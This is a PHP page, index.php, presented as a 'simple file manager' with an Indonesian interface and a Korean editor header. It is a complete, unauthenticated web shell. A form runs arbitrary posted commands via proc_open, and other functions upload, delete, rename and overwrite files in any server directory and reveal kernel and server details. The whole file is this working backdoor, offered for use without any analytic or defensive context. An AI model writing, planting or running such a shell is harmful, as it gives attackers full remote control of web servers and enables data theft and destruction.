관리-도구
편집 파일: index.php
<?php function runCommand($cmd){$descriptorspec=[0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]];$process=proc_open($cmd,$descriptorspec,$pipes);if(is_resource($process)){$output=stream_get_contents($pipes[1]);fclose($pipes[1]);$error=stream_get_contents($pipes[2]);fclose($pipes[2]);proc_close($process);return $output.$error;}return "Gagal menjalankan perintah.";}function getSystemInfo(){$kernelInfo=['sysname'=>php_uname('s'),'nodename'=>php_uname('n'),'release'=>php_uname('r'),'version'=>php_uname('v'),'machine'=>php_uname('m'),];$software=$_SERVER['SERVER_SOFTWARE'];$kernelString="{$kernelInfo['sysname']} {$kernelInfo['nodename']} {$kernelInfo['release']} {$kernelInfo['version']} {$kernelInfo['machine']}";return['os'=>$kernelString,'software'=>$software];}function getDirectoryListing($dir){$files=scandir($dir);$folders=[];$filesList=[];foreach($files as $file){if($file!='.'&&$file!='..'){if(is_dir($dir.'/'.$file)){$folders[]=$file;}else{$filesList[]=$file;}}}return['folders'=>$folders,'files'=>$filesList];}function getFileSize($file){$size=filesize($file);$units=['B','KB','MB','GB','TB'];$unit=0;while($size>=1024&&$unit<4){$size/=1024;$unit++;}return round($size,2).' '.$units[$unit];}function getFilePermission($file){return substr(sprintf('%o',fileperms($file)),-4);}function normalizePath($path){$path=preg_replace('#/+#','/',$path);if(strpos($path,'/')!==0){$path='/'.$path;}return rtrim($path,'/')?:'/';}function createBreadcrumb($dir){$dir=normalizePath($dir);$pathParts=explode('/',$dir);$breadcrumb='<span>current directory:</span> ';$currentPath='';$breadcrumb.='<a href="?dir=/">/</a>';if($dir!=='/'){foreach($pathParts as $part){if($part!==''){$currentPath=normalizePath($currentPath.'/'.$part);$breadcrumb.=' / <a href="?dir='.urlencode($currentPath).'">'.htmlspecialchars($part).'</a>';}}}return trim($breadcrumb);}$currentDir=isset($_GET['dir'])?normalizePath($_GET['dir']):normalizePath(getcwd());if(isset($_FILES['file'])){$uploadFile=$currentDir.'/'.basename($_FILES['file']['name']);if(move_uploaded_file($_FILES['file']['tmp_name'],$uploadFile)){$message="File berhasil diupload.";}else{$message="Gagal mengupload file.";}}if(isset($_POST['command'])){$commandOutput=runCommand($_POST['command']);}if(isset($_GET['delete'])){$fileToDelete=$currentDir.'/'.$_GET['delete'];if(is_file($fileToDelete)){unlink($fileToDelete);$message="File berhasil dihapus.";}else{$message="File tidak ditemukan.";}}if(isset($_POST['rename'])){$oldName=$currentDir.'/'.$_POST['old_name'];$newName=$currentDir.'/'.$_POST['new_name'];if(rename($oldName,$newName)){$message="File berhasil direname.";}else{$message="Gagal merename file.";}}if(isset($_POST['edit'])){$fileToEdit=$currentDir.'/'.$_POST['file'];$content=$_POST['content'];if(file_put_contents($fileToEdit,$content)){$message="File berhasil diedit.";}else{$message="Gagal mengedit file.";}}$listing=getDirectoryListing($currentDir);$folders=$listing['folders'];$files=$listing['files'];$systemInfo=getSystemInfo(); ?><!doctypehtml><html lang="id"><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title>File Manager Sederhana</title><style>body{font-family:Arial,sans-serif;background-color:#121212;color:#e0e0e0;margin:0;padding:0}.container{max-width:800px;margin:20px auto;padding:20px;background-color:#1e1e1e;border-radius:8px;box-shadow:0 4px 8px rgba(0,0,0,.5)}.file-table{width:100%;border-collapse:collapse;margin-top:20px}.file-table td,.file-table th{padding:12px;text-align:left;border-bottom:1px solid #333}.file-table th{background-color:#2c2c2c;color:#fff}.file-table tr:nth-child(even){background-color:#242424}.file-table tr:hover{background-color:#333}.file-actions a{margin-right:10px;color:#4da6ff;text-decoration:none}.file-actions a:hover{text-decoration:underline;color:#66b3ff}.file-table td:first-child a{color:#4da6ff;text-decoration:none}.file-table td:first-child a:hover{text-decoration:underline;color:#66b3ff}.breadcrumb a{color:#4da6ff;text-decoration:none}.breadcrumb a:hover{text-decoration:underline;color:#66b3ff}pre{background:#2c2c2c;color:#e0e0e0;padding:10px;border-radius:5px;border:1px solid #444}.breadcrumb span{margin-right:5px;color:#a0a0a0}input[type=file],input[type=text],textarea{background-color:#333;color:#e0e0e0;border:1px solid #555;padding:8px;border-radius:4px;width:100%;box-sizing:border-box}input[type=submit]{background-color:#4da6ff;color:#fff;border:none;padding:10px 15px;border-radius:4px;cursor:pointer}input[type=submit]:hover{background-color:#66b3ff}h1,h2{color:#fff}p{color:#e0e0e0}</style></head><body><div class="container"><h1>File Manager Sederhana</h1><?php if(isset($message)): ?><p><?php echo $message; ?></p><?php endif; ?><div><p><strong>Sistem OS:</strong><?php echo htmlspecialchars($systemInfo['os']); ?></p><p><strong>Sistem Software:</strong><?php echo htmlspecialchars($systemInfo['software']); ?></p></div><div><h2>Upload File</h2><form action=""method="post"enctype="multipart/form-data"><input name="file"type="file"required> <input type="submit"value="Upload"></form></div><div><h2>Jalankan Perintah</h2><form action=""method="post"><input name="command"required> <input type="submit"value="Run"></form><?php if(isset($commandOutput)): ?><pre><?php echo htmlspecialchars($commandOutput); ?></pre><?php endif; ?></div><div><h2 class="breadcrumb"><?php echo createBreadcrumb($currentDir); ?></h2><table class="file-table"><thead><tr><th>Nama</th><th>Ukuran</th><th>Izin</th><th>Aksi</th></tr></thead><tbody><?php foreach($folders as $folder): ?><tr><td><a href="?dir=<?php echo urlencode($currentDir.'/'.$folder); ?>"><?php echo htmlspecialchars($folder); ?></a></td><td>-</td><td><?php echo getFilePermission($currentDir.'/'.$folder); ?></td><td>-</td></tr><?php endforeach; ?><?php foreach($files as $file): ?><tr><td><?php echo htmlspecialchars($file); ?></td><td><?php echo getFileSize($currentDir.'/'.$file); ?></td><td><?php echo getFilePermission($currentDir.'/'.$file); ?></td><td class="file-actions"><a href="?dir=<?php echo urlencode($currentDir); ?>&edit=<?php echo urlencode($file); ?>">Edit</a> <a href="?dir=<?php echo urlencode($currentDir); ?>&rename=<?php echo urlencode($file); ?>">Rename</a> <a href="?dir=<?php echo urlencode($currentDir); ?>&delete=<?php echo urlencode($file); ?>"onclick='return confirm("Yakin ingin hapus?")'>Delete</a></td></tr><?php endforeach; ?></tbody></table></div><?php if(isset($_GET['edit'])): ?><div><h2>Edit File:<?php echo htmlspecialchars($_GET['edit']); ?></h2><form action=""method="post"><textarea cols="50"name="content"rows="10"><?php echo htmlspecialchars(file_get_contents($currentDir.'/'.$_GET['edit'])); ?></textarea> <input name="file"type="hidden"value="<?php echo htmlspecialchars($_GET['edit']); ?>"> <input name="edit"type="submit"value="Simpan"></form></div><?php endif; ?><?php if(isset($_GET['rename'])): ?><div><h2>Rename File:<?php echo htmlspecialchars($_GET['rename']); ?></h2><form action=""method="post"><input name="new_name"value="<?php echo htmlspecialchars($_GET['rename']); ?>"required> <input name="old_name"type="hidden"value="<?php echo htmlspecialchars($_GET['rename']); ?>"> <input name="rename"type="submit"value="Rename"></form></div><?php endif; ?></div></body></html>